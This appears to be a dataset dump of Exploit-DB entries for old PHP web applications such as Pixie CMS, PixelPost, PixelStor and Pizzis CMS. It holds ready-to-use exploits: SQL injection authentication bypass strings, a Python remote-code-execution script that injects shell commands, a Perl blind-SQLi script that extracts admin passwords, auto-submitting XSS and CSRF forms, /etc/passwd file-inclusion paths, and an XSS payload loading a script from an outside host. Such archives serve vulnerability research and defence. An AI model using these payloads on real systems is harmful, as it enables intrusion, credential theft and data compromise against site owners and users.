deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8883
Description: Pixelactivo 3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-06-05
Author: ThE g0bL!N

Exploit:
Pixelactivo 3.0 (Auth bypass) Remote SQL Injection
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://www.pixelactivo.com
Special Thx: Snakespc
Exploit:
------
Username: [admin_name]' or '1=1
Password: ThE g0bL!N
Demo:
----
http://www.pixelactivo.com/demo/admin.php
eXploit for demo
----------------
Username: admin' or '1=1
Password: ThE g0bL!N
Note: ALgerie en Coupe Du Monde In shaa ALLAH

# milw0rm.com [2009-06-05]
Exploit-DB #27123
Description: PixelPost 1.4.3 - User Comment HTML Injection
Type: webapps
Platform: php
Date: 2006-01-24
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16362/info

Pixelpost is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

An example exploit has been provided:

http://www.example.com/pixelpost/index.php? popup=comment&showimage=1

Add Comment: <XSS>
Exploit-DB #16160
Description: PixelPost 1.7.3 - Multiple POST SQL Injections
Type: webapps
Platform: php
Date: 2011-02-12
Author: LiquidWorm

Exploit:
--------------------------------------------------------------------

Pixelpost 1.7.3 Multiple POST Variables SQL Injection Vulnerability

Vendor: Pixelpost.org
Product web page: http://www.pixelpost.org
Affected version: 1.7.3

Summary: Pixelpost is an open-source, standards-compliant, multi-lingual,
fully extensible photoblog application for the web. Anyone who has web-space
that meets the requirements can download and use Pixelpost for free!

Desc: Pixelpost is vulnerable to an SQL Injection attack when input is passed
to several POST parameters (findfid, id, selectfcat, selectfmon, selectftag).
The script (admin/index.php) fails to properly sanitize the input before being
returned to the user allowing the attacker to compromise the entire DB system
and view sensitive information.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2011-4992
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4992.php


03.02.2011

--------------------------------------------------------------------

Vulnerable variables: 

- findfid
- id
- selectfcat
- selectfmon
- selectftag

Example:

POST /pixelpost_v1.7.3/admin/index.php?view=images HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 62
Cookie: PHPSESSID=9nqb5cbq1v4si85tidd4gas166;passwordbla=
Connection: Close
Pragma: no-cache

selectfcat=3&selectftag=1&selectfmon=1&findfid=1[SQLi]&findid=Go%21

------

HTTP/1.1 200 OK

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '' limit 0,1' at line 1.

-------
Exploit-DB #47899
Description: PixelStor 5000 K:4.0.[PII_REDACTED]9 - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-01-10
Author: .:UND3R:.

Exploit:
# Exploit Title: PixelStor 5000 - Remote Code Execution
# Product: PixelStor 5000
# Vendor: Rasilient
# Date: 2020-01-08
# Exploit Author: .:UND3R:.
# Vendor Homepage: http://rasilient.com
# Version: K:4.0.[PII_REDACTED]9 (KDI Version)
# Tested on: K:4.0.[PII_REDACTED]9 (KDI Version)
# CVE: CVE-2020-6756
# URL Author: https://pwnedchile.com
# Thanks: Dani Pelotocino <3, Roit

import requests, sys

def poc(target, cmd):
	url = target + "/Option/languageOptions.php"
	headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
	data = {"lang": ";" + cmd + ";/bin/echo -n en"}
	r = requests.post(url, headers=headers, data=data)
	if(r.status_code == 200):
		print("\nPwned :]")
	else:
		print("\nNot vulnerable :(")

print("PixelStor 5000 RCE exploit\nVersion: K:4.0.[PII_REDACTED]9 (KDI Version)\n\nAuthor: .:UND3R:.\nURL: https://pwnedchile.com\nThanks: Dani Pelotocino <3")

if len(sys.argv) !=2:
    print("\n[+] Usage: python " + sys.argv[0] + " <url>\n")
    sys.exit(1)

if __name__ == "__main__":
	url = sys.argv[1]
	cmd = raw_input("\n[Linux Command]:")
	poc(url, cmd)
#EoF
Exploit-DB #34338
Description: Pixie 1.0.4 - HTML Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41727/info

Pixie is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

Pixie 1.0.4 is vulnerable; other versions may also be affected.

<form accept-charset="UTF-8" action="http://www.example.com/admin/index.php?s=settings&x=pixie" method="post" name="main" >
<input type="hidden" name="langu" value="en-gb" />
<input type="hidden" name="time_zone" value="+0" />
<input type="hidden" name="dstime" value="no" />
<input type="hidden" name="dateformat" value="%Oe %B %Y, %H:%M" />
<input type="hidden" name="rte" value="1" />
<input type="hidden" name="logs" value="5" />
<input type="hidden" name="sysmess" value=&#039;hello message"><script>alert(document.cookie)</script>&#039; />
<input type="submit" name="settings_edit" id="form_addedit_submit" value="Update" />
</form>
<script>
document.getElementById(&#039;form_addedit_submit&#039;).click();
</script>
        
<form accept-charset="UTF-8" action="http://www.example.com/admin/index.php?s=settings&x=site" method="post" name="main" >
<input type="hidden" name="sitename" value="Pixie" />
<input type="hidden" name="url" value="http://host/" />
<input type="hidden" name="default" value="blog/" />
<input type="hidden" name="keywords" value=&#039;key1"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="site_auth" value="sute author" />
<input type="hidden" name="site_cright" value="copyright" />
<input type="hidden" name="cleanurls" value="yes" />
<input type="submit" name="settings_edit" id="form_addedit_submit" value="Update" />
</form>
<script>
document.getElementById(&#039;form_addedit_submit&#039;).click();
</script>
Exploit-DB #18236
Description: Pixie 1.04 - Blog Post Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-12-11
Author: hackme

Exploit:
# Exploit Title: Pixie v1.04 blog post CSRF
# Google Dork: # Date: 11-Dec-2011
# Author: hackme
# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip 
# Version: 1.04# Tested on: Linux Ubuntu 10.10
# CVE :
[+] TH4NKZ T0: broiosen,ReGun and hackgame.it
[+] Vulnerable Url: http://host.com/pixie/?s=blog&m=permalink&x=my-first-post 
[+] Post Method
[+] exploit:

<form method="POST" action="http://127.0.0.1/pixie/?s=blog&m=permalink&x=my-first-post">
name: <input type="Text" name="name" id="name" size="15"/><br>
e-mail: <input type="Text" name="email" id="email" size="15"/>
<br>web(optional): <input type="Text" name="web" id="web" size="15"/><br>
comment: <input type="Text" name="comment" id="comment" size="15"/><br>
<input type="Submit" name="comment_submit" id="comment_submit" value="invia" size="15"/>
<input type="Hidden" name="post" id="post" value="1"/></form>
Exploit-DB #7886
Description: Pixie CMS 1.0 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2009-01-27
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-005


Application:                    Pixie CMS
Versions Affected:              1.0
Vendor URL:                     http://www.getpixie.co.uk/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       29.08.2008
Vendor Response:                30.08.2008
Solution:                       NONE
Date of Public Advisory:        27.01.2009
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Pixie CMS has Multiple Local File Include vulnerabilities. 

Input parameters is not properly verified before being used to include files.
This can be exploited to include arbitrary files from local resources.

Details
*******

1. Local File Include vulnerability found in script /admin/admin/modules/mod_settings.php

Successful exploitation requires that "register_globals" is enabled.

Code [line 9-15]
----------------
#################################################

if ($GLOBALS['pixie_user'] && $GLOBALS['pixie_user_privs'] >= 2) {
        if (file_exists("admin/modules/mod_$x.php")) {
                include("admin/modules/mod_$x.php");
        } else {
                $message = "Admin module $x has been removed from the admin modules folder.";
        }
}

#################################################

Example:

http://[server]/[installdir]/admin/admin/modules/mod_settings.php?pixie_user=DSecRG&pixie_user_privs=2&x=../../../../../../../../../../../../../etc/passwd%00


2. Local File Include vulnerability found in script /admin/admin/modules/mod_myaccount.php

Successful exploitation requires that "register_globals" is enabled.

Code [line 9, 109-113]
----------------------
#################################################

if ($GLOBALS['pixie_user']) {

...

        if ($m) {
                include("../admin/modules/$m.php");
        } else if ($x) {
                include("mod_$x.php");
        } else {

#################################################

Example:

http://[server]/[installdir]/admin/admin/modules/mod_myaccount.php?pixie_user=DSecRG&m=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/admin/modules/mod_myaccount.php?pixie_user=DSecRG&x=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-01-27]
Exploit-DB #35251
Description: Pixie CMS 1.0.4 - '/admin/index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-20
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45937/info

Pixie is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Pixie CMS 1.04 is vulnerable; other versions may also be affected.

NOTE (May 10, 2011): This BID was previously titled 'Pixie Multiple SQL Injection Vulnerabilities'. It has been re-written because one of the vulnerabilities duplicates an issue described in BID 34189 (Pixie CMS SQL Injection and Cross Site Scripting Vulnerabilities). 

<form action="http://www.example.com/admin/index.php" method="post" name="main" >
<input name="username" value="1" type="hidden">
<input name="password" value="1" type="hidden">
<input name="login_submit" value="1" type="hidden">
<input name="GLOBALS[pixie_user]" value="123'SQL_CODE_HERE" type="hidden">
<input type="submit" value="submit" name="submit" />
</form>
Exploit-DB #18115
Description: Pixie CMS 1.01 < 1.04 - Blind SQL Injections
Type: webapps
Platform: php
Date: 2011-11-14
Author: Piranha

Exploit:
Exploit Title: Pixie CMS 1.01 - 1.04 "pixie_user" Blind SQL Injection
Google Dork: None
Date: 11/14/2011
Author: Piranha, piranha[at]torontomail.com
Software Link: http://www.getpixie.co.uk/
Version: 1.01 - 1.04
Tested on: Windows XP SP3, Pixie versions: 1.01 - 1.04
CVE : None

Example request:
GET http://localhost:8080/pixie_v1.04/?pixie_user=x',log_important=IF({CONDITION},SLEEP(5),NULL),log_id='1234
Host: localhost:8080
Referer: http://www.google.com/
Pragma: no-cache
Cache-Control: no-cache
Connection: Keep-Alive

If the condition is true then you have a response with timeout ~5 seconds. Notice that referer is required.

Exploit Title: Pixie CMS 1.01 - 1.04 "Referer" Blind SQL Injection
Google Dork: None
Date: 11/14/2011
Author: Piranha
Software Link: http://www.getpixie.co.uk/
Version: 1.01 - 1.04
Tested on: Windows XP SP3, Pixie versions: 1.01 - 1.04
CVE : None

Example request:
GET http://localhost:8080/pixie_v1.04/
Host: localhost:8080
Referer: http://www.google.com',log_important=IF({CONDITION},SLEEP(5),NULL),log_id='1234
Pragma: no-cache
Cache-Control: no-cache
Connection: Keep-Alive

If the condition is true then you have a response with timeout ~5 seconds.
Exploit-DB #4278
Description: Pixlie 1.7 - 'pixlie.php?root' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-08-10
Author: Rizgar

Exploit:
Pixlie 1.7 Remote File Disclosure Vulnerability
-----------------------------------------------------------------------

Script : Pixlie 1.7

Version : 1.7

Site : http://www.pixlie.de/download.php

Founder : Rizgar

Contact : rizgar@linuxmail.org and irc.gigachat.net #kurdhack

Thanks : Kurdish Hackers Clan(Anti Fashist Group :P), PH(HERO) , ColdHackers(nice boys)

d0rk : "Pixlie - die kostenlose Bildergalerie"

-----------------------------------------------------------------------

look at pixlie.php


//$root = "/home/www/IhrBenutzer/html";



PoC :

http://www.example.com/pixlie.php?root=../../../../../etc/passwd%00

# milw0rm.com [2007-08-10]
Exploit-DB #31143
Description: PizzaInn_Project - SQL Injection
Type: webapps
Platform: php
Date: 2014-01-23
Author: vinicius777

Exploit:
##########################################################################
[+] Exploit: PizzaInn_Project - SQL Injection                            #
[+] Author: vinicius777					                 #
[+] Contact: vinicius777 [AT] gmail  @vinicius777_                       #	                 
[+] Vendor Homepage: http://sourceforge.net/projects/restaurantmis/  	 #
##########################################################################

  
 
[1] Sql Injection Time Based Blind

PoC:  http://127.0.0.1/reserve-exec.php?id=1' [SQL Injection]


Vulnerable Code:
[+] reserve-exec.php


            $id = $_GET['id'];
            $qry = "INSERT INTO reservations_details(member_id,table_id,partyhall_id,Reserve_Date,Reserve_Time,table_flag,partyhall_flag) VALUES('$id','$table_id','$partyhall_id','$date','$time','$table_flag','$partyhall_flag')";
            mysql_query($qry)



#
#
# Greetz to g0tm1lk and TheColonial.
Exploit-DB #7704
Description: Pizzis CMS 1.5.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-08
Author: darkjoker

Exploit:
--+++=============================================================+++--
--+++====== Pizzis CMS <= 1.5.1 Blind SQL Injection Exploit ======+++--
--+++=============================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage {
   die
       "\n[+] Pizzis CMS <= 1.5.1 Blind SQL Injection Exploit".
       "\n[+] Author: darkjoker".
       "\n[+] Site  : http://darkjoker.net23.net".
       "\n[+] Usage : perl $0 <hostname> <path> <username>".
       "\n[+] Ex.   : perl $0 localhost /pizziscms admin".
       "\n[+] Greetz: my girlfriend, she has no idea about what is it <3".
       "\n\n";
}

sub query {
   my ($user, $chr, $pos) = @_;
   my $query = "98765 OR ASCII(SUBSTRING((SELECT pass FROM pizziscms_admin WHERE user  = '${user}'),${pos},1))=${chr}";
   $query =~ s/ /%20/g;
   $query =~ s/'/%27/g;
   return $query;
}

sub exploit {
   my ($hostname, $path, $user, $chr, $pos) = @_;
   $chr = ord ($chr);

   my $sock = new IO::Socket::INET (
       PeerHost => $hostname,
       PeerPort => 80,
       Proto    => "tcp",
   ) or die $!;

   my $query = query ($user, $chr, $pos);
   my $request = "GET ${path}/visualizza.php?idvar=${query} HTTP/1.1\r\n".
             "Host: ${hostname}\r\n".
             "Connection: Close\r\n\r\n";

   print $sock $request;

   my $reply;
   while (<$sock>)
   {
       $reply .= $_;

   }
   close ($sock);

   $reply =~ s/\s/ /g;

   $reply =~ /<h4>(.+)\/h4>/;
      if (length ($1) > 1)
   {
       return 1;
   }
   else
   {
       return 0;
   }
}

if (scalar (@ARGV) != 3)
{
   usage ();
}

my ($hostname, $path, $user) = @ARGV;

my @key = split ('', 'abcdefghijklmnopqrstuvwxyz[PII_REDACTED]');
my $pos = 1;
my $chr = 0;

print "[+] Password: ";
while ($pos <= 32)
{
   if (exploit ($hostname, $path, $user, $key [$chr], $pos))
   {
       print $key [$chr];
       $chr = -1;
       $pos++;
   }
   $chr++;
}

print "\n";

# milw0rm.com [2009-01-08]
Exploit-DB #31131
Description: PK-Designs PKs Movie Database 3.0.3 - '/index.php' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-09
Author: Houssamix

Exploit:
source: https://www.securityfocus.com/bid/27713/info

PKs Movie Database is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect PKs Movie Database 3.0.3; other versions may also be affected. 

http://www.example.com/path/index.php?num=[SQL]
http://www.example.com/path/index.php?category=[XSS]
http://www.example.com/path/index.php?num=[PII_REDACTED]&category=[XSS]
Exploit-DB #5095
Description: PK-Designs PKs Movie Database 3.0.3 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-02-10
Author: Houssamix

Exploit:
-------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

= Author : HouSSaMix From H-T Team                          
= Script : PKs Movie Database version 3.0.3 

= Original advisory : https://www.securityfocus.com/bid/27713/
                     			           
= BUG 1 :  Remote SQL Injection Vulnerability  

exploit => www.target.com/path/index.php?num=-1%20union%20select%201,2,3,4,5,6,user(),database(),9,10,11,12,13,14,15,16,17,18,19,20

= BUG 2 : XSS

exploit => www.target.com/path/index.php?category=[XSS]
           www.target.com/path/index.php?num=[PII_REDACTED]&category=[XSS]

example : www.target.com/path/index.php?category=%22%3E%3Cscript%3Ealert(1);%3C/script%3E
           www.target.com/path/index.php?num=[PII_REDACTED]&category=%22%3E%3Cscript%3Ealert(1);%3C/script%3E

= Dork : "PKs Movie Database"   

# milw0rm.com [2008-02-10]
Exploit-DB #50881
Description: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-04-19
Author: Hemant Kashyap

Exploit:
# Exploit Title: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)
# Date: 31/01/2022
# Exploit Author: Hemant Kashyap
# Vendor Homepage: https://github.com/pkp/pkp-lib/issues/7649
# Version: PKP Open Journals System 2.4.8 >= 3.3
# Tested on: All OS
# CVE : CVE-2022-24181
# References: https://youtu.be/v8-9evO2oVg

XSS via Host Header injection and Steal Password Reset Token of another user Step to reproduce:

  1)  Go to this site: https://who's-using-ojs-software.com
  2)  And capture this request in burp , and send to repeater.
  3)  Add this after Host Header X-Forwarded-Host: foo"><script src=//dtf.pw/2.js></script><x=".com
  4) And this click on send , after this right click on request and click on show response in browser , after this copy the request.
  5) Paste this request in browser , and you'll see xss pop-up. Mitigation: Update to newer version.

 This vulnerability in PKP vendor software Open-journal-system version 2.4.8 to 3.3.8 all are vulnerable to xss via Host Header injection and steal password reset token vulnerability
Exploit-DB #33466
Description: pL-PHP 0.9 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-04
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37593/info

pL-PHP is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

pL-PHP 0.9 beta is vulnerable; other versions may also be affected.

http://www.example.com/files/index.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #46588
Description: Placeto CMS Alpha v4 - 'page' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-21
Author: Abdullah Çelebi

Exploit:
Placeto CMS Alpha v4 - 'page' SQL Injection

# Title: Placeto CMS
# Date: 21.03.2019
# Exploit Author: Abdullah Çelebi
# Vendor Homepage: https://sourceforge.net/projects/placeto/
# Software Link: https://sourceforge.net/projects/placeto/files/alpha-rv.4/placeto.zip
# Version: Alpha rv.4
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
A lightweight, easy to use PHP content management system (CMS). Written to
be fast and to use as little memory as possible. Placeto CMS offers browser
and server caching, provides gzip compression and to cut down on bandwidth
and CPU time.

# Vulnerabilities:
# An attacker can access all data following an authorized user login using
the parameter.


# POC - SQLi :

# Parameter: page (GET)
# Request URL: http://localhost/placeto/admin/edit.php?page=key

#    Type : boolean-based blind
page=JyI" AND 1647=1647 AND "svwN"="svwN

#    Type : time-based blind
page=JyI" AND SLEEP(5) AND "uIvY"="uIvY

#    Type : union query
page=-8388" UNION ALL SELECT
NULL,CONCAT(0x716b627671,0x6a636f[PII_REDACTED]66517a4a6f[PII_REDACTED][PII_REDACTED][PII_REDACTED]7371784f6445576b74736849,0x716b6b6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
CbSf